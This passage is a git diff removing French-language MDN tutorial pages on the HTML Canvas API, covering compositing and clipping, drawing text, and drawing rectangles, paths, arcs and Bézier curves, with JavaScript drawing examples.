-    var width = 360;
-    var halfWidth = width / 2;
-    var rotate = (1 / 360) * Math.PI * 2; // per degree
-    var offset = 0; // scrollbar offset
-    var oleft = -20;
-    var otop = -20;
-    for (var n = 0; n <= 359; n ++) {
-        var gradient = ctx.createLinearGradient(oleft + halfWidth, otop, oleft + halfWidth, otop + halfWidth);
-        var color = Color.HSV_RGB({ H: (n + 300) % 360, S: 100, V: 100 });
-        gradient.addColorStop(0, "rgba(0,0,0,0)");
-        gradient.addColorStop(0.7, "rgba("+color.R+","+color.G+","+color.B+",1)");
-        gradient.addColorStop(1, "rgba(255,255,255,1)");
-        ctx.beginPath();
-        ctx.moveTo(oleft + halfWidth, otop);
-        ctx.lineTo(oleft + halfWidth, otop + halfWidth);
-        ctx.lineTo(oleft + halfWidth + 6, otop);
-        ctx.fillStyle = gradient;
-        ctx.fill();
-        ctx.translate(oleft + halfWidth, otop + halfWidth);
-        ctx.rotate(rotate);
-        ctx.translate(-(oleft + halfWidth), -(otop + halfWidth));
-    }
-    ctx.beginPath();
-    ctx.fillStyle = "#00f";
-    ctx.fillRect(15,15,30,30)
-    ctx.fill();
-    return ctx.canvas;
-};
-
- -
// HSV (1978) = H: Hue / S: Saturation / V: Value
-Color = {};
-Color.HSV_RGB = function (o) {
-    var H = o.H / 360,
-        S = o.S / 100,
-        V = o.V / 100,
-        R, G, B;
-    var A, B, C, D;
-    if (S == 0) {
-        R = G = B = Math.round(V * 255);
-    } else {
-        if (H >= 1) H = 0;
-        H = 6 * H;
-        D = H - Math.floor(H);
-        A = Math.round(255 * V * (1 - S));
-        B = Math.round(255 * V * (1 - (S * D)));
-        C = Math.round(255 * V * (1 - (S * (1 - D))));
-        V = Math.round(255 * V);
-        switch (Math.floor(H)) {
-            case 0:
-                R = V;
-                G = C;
-                B = A;
-                break;
-            case 1:
-                R = B;
-                G = V;
-                B = A;
-                break;
-            case 2:
-                R = A;
-                G = V;
-                B = C;
-                break;
-            case 3:
-                R = A;
-                G = B;
-                B = V;
-                break;
-            case 4:
-                R = C;
-                G = A;
-                B = V;
-                break;
-            case 5:
-                R = V;
-                G = A;
-                B = B;
-                break;
-        }
-    }
-    return {
-        R: R,
-        G: G,
-        B: B
-    };
-};
-
-var createInterlace = function (size, color1, color2) {
-    var proto = document.createElement("canvas").getContext("2d");
-    proto.canvas.width = size * 2;
-    proto.canvas.height = size * 2;
-    proto.fillStyle = color1; // top-left
-    proto.fillRect(0, 0, size, size);
-    proto.fillStyle = color2; // top-right
-    proto.fillRect(size, 0, size, size);
-    proto.fillStyle = color2; // bottom-left
-    proto.fillRect(0, size, size, size);
-    proto.fillStyle = color1; // bottom-right
-    proto.fillRect(size, size, size, size);
-    var pattern = proto.createPattern(proto.canvas, "repeat");
-    pattern.data = proto.canvas.toDataURL();
-    return pattern;
-};
-
-var op_8x8 = createInterlace(8, "#FFF", "#eee");
diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/composition/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/composition/index.html deleted file mode 100644 index cc646762dd..0000000000 --- a/files/fr/web/api/canvas_api/tutoriel_canvas/composition/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Composition et découpe -slug: Web/API/Canvas_API/Tutoriel_canvas/Composition -tags: - - Canvas - - Composition - - dessin -translation_of: Web/API/Canvas_API/Tutorial/Compositing ---- -
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Transformations", "Web/API/Canvas_API/Tutorial/Basic_animations")}}
- -
-

Dans tous nos exemples précédents, les formes étaient toutes dessinées les unes au dessus des autres. C'est plus que suffisant pour la plupart des situations, mais cela limite l'ordre dans lequel les formes composées sont construites. Nous pouvons cependant changer ce comportement en définissant la propriété globalCompositeOperation. En complément, la propriété clip nous permet de cacher les parties des formes que nous ne désirons pas.

-
- -

globalCompositeOperation

- -

Nous pouvons non seulement dessiner de nouvelles formes derrière des formes existantes mais nous pouvons aussi les utiliser pour masquer certaines zones, supprimer des sections du canvas (ce n'est pas limité aux rectangles comme pour la méthode {{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}}) et davantage.

- -
-
{{domxref("CanvasRenderingContext2D.globalCompositeOperation", "globalCompositeOperation = type")}}
-
Cela configure le type d'opération de composition à appliquer lorsqu'on dessine de nouvelles formes, où le type correspond à une string qui fait référence à une des douze opérations de composition possibles.
-
- -

Reportez-vous aux exemples de compositon pour le code des exemples suivants.

- -

{{EmbedLiveSample("Exemple_de_composition", 750, 6750, "" ,"/Tutoriel_canvas/Composition/Example")}}

- -

Détourage

- -

Un détourage (clipping path en anglais) est comme une forme de canvas standard, à la différence près qu'elle sert à masquer certaines parties du canvas. Voyez l'image de droite, la forme rouge (en étoile) est un détourage du canvas. Tout ce qui est en dehors du chemin n'est pas dessiné sur le canvas.

- -

Si nous comparons le détourage à la propriété globalCompositeOperation vue précédemment, nous voyons deux modes de composition qui ont plus ou moins les mémes effets qu'avec source-in et source-atop. La différence la plus significative entre les deux est que le détourage n'est jamais dessiné sur le canvas à proprement parler et il n'est jamais affecté par l'ajout de nouvelles formes. Ça le rend idéal pour dessiner plusieurs formes dans une zone restreinte.

- -

Dans le chapitre "dessiner des formes avec le canevas", nous n'avions mentionné que les méthodes stroke() et fill(), mais il y en a une troisième: clip() — elle permet de faire des détourages.

- -
-
{{domxref("CanvasRenderingContext2D.clip", "clip()")}}
-
Transforme le chemin en cours de création en détourage effectif.
-
- -

Il faut utiliser clip() plutot que closePath() pour fermer un chemin et enfaire un détourage.

- -

Par défault, l'élément {{HTMLElement("canvas")}} possède un détourage aux mêmes dimensions que le canvas lui-même. Donc, par défaut aucune découpe n'est apparente.

- -

Un exemple de clip

- -

Dans cet exemple, nous allons utiliser un détourage circulaire pour restreindre le dessin d'un essemble d'étoiles aléatoires à une zone particulière (et circulaire...).

- -
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-  ctx.fillRect(0, 0, 150, 150);
-  ctx.translate(75, 75);
-
-  // Create a circular clipping path
-  ctx.beginPath();
-  ctx.arc(0, 0, 60, 0, Math.PI * 2, true);
-  ctx.clip();
-
-  // draw background
-  var lingrad = ctx.createLinearGradient(0, -75, 0, 75);
-  lingrad.addColorStop(0, '#232256');
-  lingrad.addColorStop(1, '#143778');
-
-  ctx.fillStyle = lingrad;
-  ctx.fillRect(-75, -75, 150, 150);
-
-  // draw stars
-  for (var j = 1; j < 50; j++) {
-    ctx.save();
-    ctx.fillStyle = '#fff';
-    ctx.translate(75 - Math.floor(Math.random() * 150),
-                  75 - Math.floor(Math.random() * 150));
-    drawStar(ctx, Math.floor(Math.random() * 4) + 2);
-    ctx.restore();
-  }
-
-}
-
-function drawStar(ctx, r) {
-  ctx.save();
-  ctx.beginPath();
-  ctx.moveTo(r, 0);
-  for (var i = 0; i < 9; i++) {
-    ctx.rotate(Math.PI / 5);
-    if (i % 2 === 0) {
-      ctx.lineTo((r / 0.525731) * 0.200811, 0);
-    } else {
-      ctx.lineTo(r, 0);
-    }
-  }
-  ctx.closePath();
-  ctx.fill();
-  ctx.restore();
-}
-
- - - -

Dans les premières lignes de code, nous dessinons un rectangle noir ayant la même taille que le canvas comme toile de fond puis nous déplaçons l'origine au centre de l'image. Ensuite, nous créons le détourage circulaire en dessinant un arc (complet) et en faisant appelle à clip(). Les détourages font aussi partie de l'état de sauvegarde des canvas. Si on voulait garder le détourage d'origine, on pourrait par exemple sauvegarder l'état du canvas au préalable.

- -

Tout ce qui sera dessiné après la création du détourage n'apparaîtra qu'à l'intérieur de ce chemin. Vous pouvez voir ça clairement avec le dégradé linéaire qui est dessiné après. Ensuite, un ensemble de 50 étoiles aléatoires est dessiné, en utilisant la fonction drawStar(). Nous pouvons voir, une fois de plus, que les éléments (ici les étoiles) n'apparaissent qu'à l'intérieur du détourage.

- -

{{EmbedLiveSample("A_clip_example", "180", "180", "https://mdn.mozillademos.org/files/208/Canvas_clip.png")}}

- -

{{PreviousNext("Web/API/Canvas_API/Tutorial/Transformations", "Web/API/Canvas_API/Tutorial/Basic_animations")}}

diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/dessin_de_texte_avec_canvas/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/dessin_de_texte_avec_canvas/index.html deleted file mode 100644 index 761b5baf3d..0000000000 --- a/files/fr/web/api/canvas_api/tutoriel_canvas/dessin_de_texte_avec_canvas/index.html +++ /dev/null @@ -1,161 +0,0 @@ ---- -title: Dessin de texte avec canvas -slug: Web/API/Canvas_API/Tutoriel_canvas/Dessin_de_texte_avec_canvas -tags: - - Canvas - - Graphismes - - HTML - - Tutoriels -translation_of: Web/API/Canvas_API/Tutorial/Drawing_text ---- -

{{CanvasSidebar}} {{PreviousNext("Tutoriel_canvas/Ajout_de_styles_et_de_couleurs", "Tutoriel_canvas/Utilisation_d'images")}}

- -

Après avoir vu comment appliquer les styles et les couleurs dans le chapitre précédent, nous allons maintenant voir comment dessiner du texte sur canvas.

- -

Dessin de texte

- -

  Le contexte de rendu du canevas fournit deux méthodes pour le rendu du texte :

- -
-
{{domxref("CanvasRenderingContext2D.fillText", "fillText(text, x, y [, maxWidth])")}}
-
Remplit un texte donné à la position (x, y). Facultatif, avec une largeur maximale à dessiner.
-
{{domxref("CanvasRenderingContext2D.strokeText", "strokeText(text, x, y [, maxWidth])")}}
-
Trait d'un texte donné à la position (x, y). Facultatif, avec une largeur maximale à dessiner.
-
- -

Un exemple fillText

- -

Le texte est rempli en utilisant le fillStyle actuel.

- -
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-  ctx.font = '48px serif';
-  ctx.fillText('Hello world', 10, 50);
-}
- - - -

{{EmbedLiveSample("A_fillText_example", 310, 110)}}

- -

Un exemple de strokeText

- -

Le texte est rempli en utilisant le strokeStyle courant.

- -
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-  ctx.font = '48px serif';
-  ctx.strokeText('Hello world', 10, 50);
-}
- - - -

{{EmbedLiveSample("A_strokeText_example", 310, 110)}}

- -

Style de texte

- -

Dans les exemples ci-dessus, nous utilisons déjà la propriété de police pour rendre le texte un peu plus grand que la taille par défaut. Il existe d'autres propriétés qui vous permettent d'ajuster la façon dont le texte est affiché sur le canevas :

- -
-
{{domxref("CanvasRenderingContext2D.font", "font = value")}}
-
Le style de texte actuel utilisé lors du dessin du texte. Cette chaîne utilise la même syntaxe que la propriété CSS {{cssxref ("font")}}. La police par défaut est 10px sans-serif.
-
{{domxref("CanvasRenderingContext2D.textAlign", "textAlign = value")}}
-
Paramètre d'alignement du texte. Valeurs possibles : start (début), end (fin), left (gauche), right (droite) ou center (centre). La valeur par défaut est start.
-
{{domxref("CanvasRenderingContext2D.textBaseline", "textBaseline = value")}}
-
Paramètre d'alignement de base. Valeurs possibles : top (haut), hanging (suspendu), middle (moyen), alphabetic (alphabétique), ideographic (idéographique), bottom (en bas). La valeur par défaut est alphabetic.
-
{{domxref("CanvasRenderingContext2D.direction", "direction = value")}}
-
Directionnalité. Valeurs possibles: ltr (de gauche à droite), rtl (de droite à gauche), inherit (hérité). La valeur par défaut est inherit.
-
- -

Ces propriétés peuvent vous être familières si vous avez déjà travaillé avec CSS.

- -

Le diagramme suivant du WHATWG illustre les différentes lignes de base prises en charge par la propriété textBaseline.

- -

The top of the em square is -roughly at the top of the glyphs in a font, the hanging baseline is -where some glyphs like आ are anchored, the middle is half-way -between the top of the em square and the bottom of the em square, -the alphabetic baseline is where characters like Á, ÿ, -f, and Ω are anchored, the ideographic baseline is -where glyphs like 私 and 達 are anchored, and the bottom -of the em square is roughly at the bottom of the glyphs in a -font. The top and bottom of the bounding box can be far from these -baselines, due to glyphs extending far outside the em square.

- -

Un exemple de textBaseline

- -

Modifiez le code ci-dessous et visualisez vos mises à jour en direct dans le canevas :

- -
ctx.font = '48px serif';
-ctx.textBaseline = 'hanging';
-ctx.strokeText('Hello world', 0, 100);
- - - -

{{ EmbedLiveSample('Playable_code', 700, 360) }}

- -

Mesures de texte avancées

- -

Dans le cas où vous avez besoin d'obtenir plus de détails sur le texte, la méthode suivante vous permet de le mesurer.

- -
-
{{domxref("CanvasRenderingContext2D.measureText", "measureText()")}}
-
Retourne un objet {{domxref("TextMetrics")}} contenant la largeur en pixels, sur la base duquel le texte spécifié sera dessiné dans le style de texte actuel.
-
- -

L'extrait de code suivant montre comment vous pouvez mesurer un texte et obtenir sa largeur.

- -
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-  var text = ctx.measureText('foo'); // objet TextMetrics
-  text.width; // 16;
-}
- -

Notes spécifiques à Gecko

- -

Dans Gecko (le moteur de rendu de Firefox, Firefox OS et d'autres applications basées sur Mozilla), certaines API préfixées ont été implémentées dans des versions antérieures pour dessiner du texte sur un canevas. Ceux-ci sont maintenant déconseillés et supprimés, et leur fonctionnement n'est pas garanti.

- -

{{PreviousNext("Tutoriel_canvas/Ajout_de_styles_et_de_couleurs", "Tutoriel_canvas/Utilisation_d'images")}}

diff --git "a/files/fr/web/api/canvas_api/tutoriel_canvas/formes_g\303\251om\303\251triques/index.html" "b/files/fr/web/api/canvas_api/tutoriel_canvas/formes_g\303\251om\303\251triques/index.html" deleted file mode 100644 index 233d1baeb2..0000000000 --- "a/files/fr/web/api/canvas_api/tutoriel_canvas/formes_g\303\251om\303\251triques/index.html" +++ /dev/null @@ -1,581 +0,0 @@ ---- -title: Dessiner des formes avec le canevas -slug: Web/API/Canvas_API/Tutoriel_canvas/Formes_géométriques -tags: - - Canvas - - Graphisme - - Guide - - HTML - - HTML5 - - Intermédiaire - - Tutoriel -translation_of: Web/API/Canvas_API/Tutorial/Drawing_shapes ---- -

{{CanvasSidebar}} {{PreviousNext("Tutoriel_canvas/Utilisation_de_base", "Tutoriel_canvas/Ajout_de_styles_et_de_couleurs")}}

- -

Maintenant que nous avons défini notre environnement de canevas, nous pouvons entrer dans les détails de la façon de dessiner sur le canevas. A la fin de cet article, vous aurez appris à tracer des rectangles, des triangles, des lignes, des arcs et des courbes, vous rendant ainsi familier avec certaines des formes de base. Le travail avec les trajets est essentiel lors du dessin d'objets sur le canevas, et nous verrons comment cela peut être fait.

- -

La grille

- -

Avant de pouvoir commencer à dessiner, il nous faut parler de la grille ou système de coordonnées. Notre schéma HTML de la page précédente avait un élément canevas large de 150 pixels et haut de 150 pixels. À droite, vous voyez ce canevas avec la grille par défaut superposée. Normalement, 1 unité dans la grille correspond à 1 pixel sur le canevas. L'origine de cette grille est positionnée dans le coin supérieur gauche de coordonnées (0, 0). Tous les éléments sont placés relativement à cette origine. Ainsi, le coin supérieur gauche du carré bleu est à x pixels à partir de la gauche et à y pixels à partir du haut, aux coordonnées (x, y). Plus loin dans ce tutoriel, nous verrons comment déplacer l'origine à une position différente, faire pivoter la grille ou même la mettre à l'échelle ; mais pour l'instant, nous nous en tiendrons aux valeurs par défaut.

- -

Dessin de rectangles

- -

Au contraire de SVG, le {{HTMLElement("canvas")}} ne supporte qu'une seule forme primitive : le rectangle. Toute autre forme doit être créée en combinant un ou plusieurs trajets, c'est-à-dire des listes de points reliés par des lignes. Heureusement, nous avons un assortiment de fonctions de dessin de trajets, qui rendent possible la composition de formes très complexes.

- -
-

Commençons par le rectangle. Il y a trois fonctions qui dessinent des rectangles sur le canvas :

- -
-
{{domxref("CanvasRenderingContext2D.fillRect", "fillRect(x, y, largeur, hauteur)")}}
-
Dessine un rectangle rempli.
-
{{domxref("CanvasRenderingContext2D.strokeRect", "strokeRect(x, y, largeur, hauteur)")}}
-
Dessine un contour rectangulaire
-
{{domxref("CanvasRenderingContext2D.clearRect", "clearRect(x, y, largeur, hauteur)")}}
-
Efface la zone rectangulaire spécifiée, la rendant complètement transparente.
-
- -

Chacune de ces trois fonctions a les mêmes paramètres. x et y indiquent la position sur le canevas (par rapport à l'origine) du coin supérieur gauche du rectangle sur le canvas. largeur et hauteur indiquent la taille du rectangle.

- -

Ci-dessous la fonction draw() de la page précédente, mais utilisant maintenant ces trois fonctions.

- -

Exemple de forme rectangulaire

- - - -
function draw() {
-  var canvas = document.getElementById('canvas');
-  if (canvas.getContext) {
-    var ctx = canvas.getContext('2d');
-
-    ctx.fillRect(25, 25, 100, 100);
-    ctx.clearRect(45, 45, 60, 60);
-    ctx.strokeRect(50, 50, 50, 50);
-  }
-}
- -

Le résultat de cet exemple est montré ci-dessous.

- -

{{EmbedLiveSample("Exemple_de_forme_rectangulaire", 160, 160, "https://mdn.mozillademos.org/files/245/Canvas_rect.png")}}

- -

La fonction fillRect() dessine un grand carré noir de 100 pixels de côté. La fonction clearRect() efface ensuite un carré de 60x60 pixels, et finalement, la fonction strokeRect() est appelée pour créer un contour rectangulaire de 50x50 pixels dans l'espace effacé.

- -

Dans les pages qui suivent, nous verrons deux méthodes alternatives pour clearRect(), et nous verrons aussi comment changer la couleur et le style de trait des formes rendues.

- -

A la différence des fonctions de trajet que nous allons voir dans la prochaine section, les trois fonctions de rectangles dessinent immédiatement sur le canvas.

- -

Dessin de trajets

- -

Les seules autres formes primitives sont les trajets. Un trajet est une liste de points, reliés par des segments de lignes qui peuvent être de différentes formes, incurvées ou non, de largeur différente et de couleur différente. Un trajet, ou même un sous-trajet, peut être fermé. La réalisation de formes utilisant des trajets requiert quelques étapes supplémentaires :

- -
    -
  1. Tout d'abord, vous devez créer le trajet.
    2. -
  2. Ensuite vous devez utiliser des instructions de dessin pour dessiner sur le trajet.
    3. -
  3. Finalement, vous devez fermer le trajet.
    4. -
  4. Une fois que le trajet a été créé, vous devez le tracer ou le remplir pour le faire apparaître.
    5. -
- -

Voici les functions utilisées pour réaliser ces étapes :

- -
-
{{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}}
-
Crée un nouveau trajet. Une fois créé, les fonctions de dessin ultérieures seront dirigées vers le trajet et utilisées pour le construire.
-
Méthodes de trajet
-
Méthodes pour définir différents trajets pour les objets.
-
{{domxref("CanvasRenderingContext2D.closePath", "closePath()")}}
-
Ferme le trajet pour que les fonctions de dessin ultérieures soient à nouveau dirigées vers le contexte.
-
{{domxref("CanvasRenderingContext2D.stroke", "stroke()")}}
-
Dessine la forme en traçant son contour.
-
{{domxref("CanvasRenderingContext2D.fill", "fill()")}}
-
Dessine une forme pleine en remplissant la zone de contenu du trajet.
-
- -

La première étape pour créer un trajet est d'appeler beginPath(). En interne, les trajets sont stockés comme une liste de sous-trajets (lignes, arcs, etc) qui ensemble réalisent une forme. Chaque fois que cette méthode est appelée, la liste est remise à zéro, et nous pouvons commencer à dessiner de nouvelles formes.

- -
Note : lorsque le trajet en cours est vide, par exemple immédiatement après avoir appelé beginPath(), ou sur un canvas nouvellement créé, la première instruction de construction de trajet est toujours traitée comme un moveTo(), indépendamment de ce qu'elle est en réalité. Pour cette raison, il sera pratiquement toujours souhaitable d'indiquer la position de départ après la réinitialisation d'un trajet.
- -

La deuxième étape est d'appeler les méthodes qui indiquent effectivement les sous-trajets à dessiner. Nous verrons ces méthodes bientôt.

- -

La troisième méthode, optionnelle, est l'appel à closePath(). Cette méthode essaye de fermer la forme géométrique en dessinant une ligne droite depuis le point courant jusqu'au début du trajet. Si la forme a déjà été fermée ou s'il n'y a qu'un seul point dans la liste, cette fonction ne fait rien.

- -
Note : quand vous appelez fill(), toutes les formes ouvertes sont automatiquement fermées, ainsi vous n'avez pas à appeler closePath(). Ce n'est pas le cas quand vous appelez stroke().
- -

Dessin d'un triangle

- -

Par exemple, le code pour dessiner un triangle peut ressembler à ce qui suit :

- - - -
function dessiner() {
-  var canevas = document.getElementById('canevas');
-  if (canevas.getContext) {
-    var ctx = canevas.getContext('2d');
-
-    ctx.beginPath();
-    ctx.moveTo(75, 50);
-    ctx.lineTo(100, 75);
-    ctx.lineTo(100, 25);
-    ctx.fill();
-  }
-}
-
- -

Le résultat ressemble à :

- -

{{EmbedLiveSample("Dessin_d'un_triangle", 110, 110, "https://mdn.mozillademos.org/files/9847/triangle.png")}}

- -

Déplacement du stylo

- -

Une fonction très utile, qui ne dessine rien mais qui fait tout de même partie de la liste de trajets décrite plus haut, est la fonction moveTo(). La meilleure façon de l'imaginer est le fait de lever un stylo ou un crayon depuis une position sur un papier, et de le placer sur une autre.

- -
-
{{domxref("CanvasRenderingContext2D.moveTo", "moveTo(x, y)")}}
-
Déplace le stylo aux coordonnées x et y.
-
- -

Lorsque le canevas est initialisé ou que beginPath() est appelé, vous souhaiterez typiquement utiliser moveTo() pour positionner le point de départ quelque part ailleurs. On pourrait aussi utiliser moveTo() pour dessiner des trajets non reliés. Jetez un coup d'œil à l'émoticon ci-dessous.

- -

Pour essayer par vous-même, vous pouvez utiliser le fragment de code ci-dessous. Collez-le simplement dans la fonction draw() que nous avons vue plus tôt.

- - - -
function draw() {
-  var canvas = document.getElementById('canvas');
-  if (canvas.getContext) {
-    var ctx = canvas.getContext('2d');
-
-    ctx.beginPath();
-    ctx.arc(75, 75, 50, 0, Math.PI * 2, true);  // Cercle extérieur
-    ctx.moveTo(110,75);
-    ctx.arc(75, 75, 35, 0, Math.PI, false);  // Bouche (sens horaire)
-    ctx.moveTo(65, 65);
-    ctx.arc(60, 65, 5, 0, Math.PI * 2, true);  // Oeil gauche
-    ctx.moveTo(95, 65);
-    ctx.arc(90, 65, 5, 0, Math.PI * 2, true);  // Oeil droite
-    ctx.stroke();
-  }
-}
-
- -

Le résultat ressemble à ce qui suit :

- -

{{EmbedLiveSample("Déplacement_du_stylo", 160, 160, "https://mdn.mozillademos.org/files/252/Canvas_smiley.png")}}

- -

Si vous voulez voir les lignes d'interconnexion, vous pouvez enlever les lignes qui appellent moveTo().

- -
-

Note : pour en savoir plus sur la fonction arc(), voir la section {{anch("Arcs")}} ci-dessous.

-
- -

Les lignes

- -

Pour dessiner des lignes droites, utilisez la méthode lineTo().

- -
-
{{domxref("CanvasRenderingContext2D.lineTo", "lineTo(x, y)")}}
-
Dessine une ligne depuis la position de dessin courante jusqu'à la position spécifiée par x et y.
-
- -

Cette méthode prend deux arguments, x et y, qui sont les coordonnées du point final de la ligne. Le point de départ dépend des trajets précédemment tracés, où le point final du trajet précédent est le point de départ du suivant, etc. Le point de départ peut aussi être changé en utilisant la méthode moveTo().

- -

L'exemple ci-dessous dessine deux triangles, un rempli et un filaire.

- - - -
function dessiner() {
-  var canevas = document.getElementById('canevas');
-  if (canevas.getContext) {
-    var ctx = canevas.getContext('2d');
-
-    // Triangle plein
-    ctx.beginPath();
-    ctx.moveTo(25, 25);
-    ctx.lineTo(105, 25);
-    ctx.lineTo(25, 105);
-    ctx.fill();
-
-    // Triangle filaire
-    ctx.beginPath();
-    ctx.moveTo(125, 125);
-    ctx.lineTo(125, 45);
-    ctx.lineTo(45, 125);
-    ctx.closePath();
-    ctx.stroke();
-  }
-}
-
- -

Il commence par appeler beginPath() pour démarrer un nouveau trajet de forme. Nous utilisons ensuite la méthode moveTo() pour déplacer le point de départ à la position désirée. En dessous, deux lignes sont dessinées, qui constituent deux côtés du triangle.

- -

{{EmbedLiveSample("Les_lignes", 160, 160, "https://mdn.mozillademos.org/files/238/Canvas_lineTo.png")}}

- -

Vous remarquerez la différence entre le triangle plein et le filaire. Cela, comme mentionné précédemment, vient du fait que les formes sont automatiquement fermées lorsqu'un trajet est rempli, mais pas lorsqu'elles sont dessinées au trait. Si nous avions omis le closePath() pour le triangle filaire, seules deux lignes auraient été tracées, et non pas un triangle complet.

- -

Les arcs

- -

Pour dessiner des arcs ou des cercles, on utilise les méthodes arc() ou arcTo().

- -
-
{{domxref("CanvasRenderingContext2D.arc", "arc(x, y, rayon, angleInitial, angleFinal, antihoraire)")}}
-
Dessine un arc de cercle qui est centré à la position (x, y), de rayon r, commençant à angleInitial et finissant à angleFinal en allant dans le sens indiqué par antihoraire (par défaut, horaire).
-
{{domxref("CanvasRenderingContext2D.arcTo", "arcTo(x1, y1, x2, y2, rayon)")}}
-
Dessine un arc avec les points de contrôle et l'angle donnés, relié au point précédent par une ligne droite.
-
- -

Regardons plus en détail la méthode arc, qui prend six paramètres : x et y sont les coordonnées du centre du cercle sur lequel l'arc doit être tracé. rayon se passe d'explication. Les paramètres angleInitial et angleFinal définissent en radians les points de départ et d'arrivée de l'arc, le long de la courbe du cercle. Ceux-ci sont mesurés à partir de l'axe des x. Le paramètre antihoraire est une valeur booléenne qui, lorsque true, dessine l'arc dans le sens antihoraire, sinon, l'arc est dessiné dans le sens horaire.

- -
-

Note : les angles dans la fonction arc sont mesurés en radians, et non en degrés. Pour convertir des degrés en radians, vous pouvez utiliser l'expression JavaScript suivante : radians = (Math.PI/180)*degres.

-
- -

L'exemple suivant est un peu plus complexe que ceux que nous avons vus plus haut. Il dessine 12 arcs différents, avec des angles et des remplissages différents.

- -

Les deux boucles for bouclent sur les lignes et les colonnes des arcs. Pour chaque arc, on commence un nouveau trajet en appelant beginPath(). Dans le code, chacun des paramètres dans l'arc est une variable pour des raisons de clarté, mais en réalité, vous n'avez pas besoin de le faire.

- -

Les coordonnées x et y devraient être claires. rayon et angleInitial sont fixés. L'angleFinal commence à 180 degrés (demi-cercle) dans la première colonne et il est augmenté par pas de 90 degrés, pour finir par un cercle complet dans la dernière colonne.

- -

L'instruction pour le paramètre antihoraire a pour résultat que la première et de la troisième ligne sont dessinées comme des arcs de sens horaire, et que la deuxième et quatrième sont dessinées comme des arcs de sens antihoraire. Enfin, l'instruction if fait des arcs filaires dans la moité supérieure, et des arcs remplis dans la moitié inférieure.

- -
-

Note : cet exemple requiert canevas légèrement plus large que les autres sur cette page : 150 x 200 pixels.

-
- - - -
function dessiner() {
-  var canevas = document.getElementById('canevas');
-  if (canevas.getContext) {
-    var ctx = canevas.getContext('2d');
-
-    for(var i = 0; i < 4; i++) {
-      for(var j = 0; j < 3; j++) {
-        ctx.beginPath();
-        var x = 25 + j * 50; // Coordonnée x
-        var y = 25 + i * 50; // Coordonnée y
-        var rayon = 20; // Rayon de l'arc
-        var angleInitial = 0; // Point de départ sur le cercle
-        var angleFinal = Math.PI + (Math.PI * j) / 2; // Point d'arrivée sur le cercle
-        var antihoraire = i % 2 != 0; // Horaire ou antihoraire
-
-        ctx.arc(x, y, rayon, angleInitial, angleFinal, antihoraire);
-
-        if (i>1) {
-          ctx.fill();
-        } else {
-          ctx.stroke();
-        }
-      }
-    }
-  }
-}
-
- -

{{EmbedLiveSample("Les_arcs", 160, 210, "https://mdn.mozillademos.org/files/204/Canvas_arc.png")}}

- -

Les courbes quadratiques et de Bézier

- -

Le type suivant de trajets disponible est la courbe de Bézier, disponible en deux variétés, cubique et quadratique. Elles sont généralement utilisées pour dessiner des formes naturelles complexes.

- -
-
{{domxref("CanvasRenderingContext2D.quadraticCurveTo", "quadraticCurveTo(cp1x, cp1y, x, y)")}}
-
Dessine une courbe de Bézier quadratique depuis la position courante du stylo jusqu'au point final spécifié par x et y, en utilisant le point de contrôle spécifié par cp1x et cp1y.
-
{{domxref("CanvasRenderingContext2D.bezierCurveTo", "bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y)")}}
-
Dessine une courbe de Bézier cubique depuis la position courante du stylo jusqu'au point spécifié par x et y, en utilisant les points de contrôle (cp1x, cp1y) et (cp2x, cp2y).
-
- -

La différence entre ces deux méthodes est mieux décrite par l'image à droite. Une courbe quadratique de Bézier a un point de départ et un point d'arrivée (points bleus), et seulement un point de contrôle (indiqué par le point rouge), tandis qu'une courbe de Bézier cubique utilise deux points de contrôle.

- -

Les paramètres x et y de ces deux méthodes sont les coordonnées du point d'arrivée. cp1x et cp1y sont les coordonnées du premier point de contrôle, et  cp2x et cp2y sont les coordonnées du second point de contrôle.

- -

Utiliser des courbes quadratiques et cubiques de Bézier peut constituer un certain défi, car à la différence d'un logiciel de tracé des vecteurs comme Adobe Illustrator, nous n'avons pas de retour visuel direct concernant ce que nous faisons. Cela rend passablement difficile le dessin de formes complexes. Dans l'exemple suivant, nous allons dessiner quelques formes naturelles simples, mais si vous avez du temps et - surtout - de la patience, des formes bien plus complexes peuvent être créées.

- -

Il n'y a rien de très difficile dans ces exemples. Dans les deux cas, on peut voir une succession de courbes être dessinées qui aboutissent finalement à une forme complète.

- -

Courbes de Bézier quadratiques

- -

Cet exemple utilise plusieurs courbes quadratiques de Bézier pour rendre une bulle de dialogue.

- - - -
function dessiner() {
-  var canevas = document.getElementById('canevas');
-  if (canevas.getContext) {
-    var ctx = canevas.getContext('2d');
-
-    // Exemples de courbes quadratiques
-    ctx.beginPath();
-    ctx.moveTo(75, 25);
-    ctx.quadraticCurveTo(25, 25, 25, 62.5);
-    ctx.quadraticCurveTo(25, 100, 50, 100);
-    ctx.quadraticCurveTo(50, 120, 30, 125);
-    ctx.quadraticCurveTo(60, 120, 65, 100);
-    ctx.quadraticCurveTo(125, 100, 125, 62.5);
-    ctx.quadraticCurveTo(125, 25, 75, 25);
-    ctx.stroke();
-  }
-}
-
- -

{{EmbedLiveSample("Courbes_de_Bézier_quadratiques", 160, 160, "https://mdn.mozillademos.org/files/243/Canvas_quadratic.png")}}

- -

Les courbes de Bézier cubiques

- -

Cet exemple dessine un cœur en utilisant les courbes de Bézier cubiques.

- - - -
function dessiner() {
-  var canevas = document.getElementById('canevas');
-  if (canevas.getContext) {
-    var ctx = canevas.getContext('2d');
-
-    // Exemple de courbes cubiques
-    ctx.beginPath();
-    ctx.moveTo(75, 40);
-    ctx.bezierCurveTo(75, 37, 70, 25, 50, 25);
-    ctx.bezierCurveTo(20, 25, 20, 62.5, 20, 62.5);
-    ctx.bezierCurveTo(20, 80, 40, 102, 75, 120);
-    ctx.bezierCurveTo(110, 102, 130, 80, 130, 62.5);
-    ctx.bezierCurveTo(130, 62.5, 130, 25, 100, 25);
-    ctx.bezierCurveTo(85, 25, 75, 37, 75, 40);
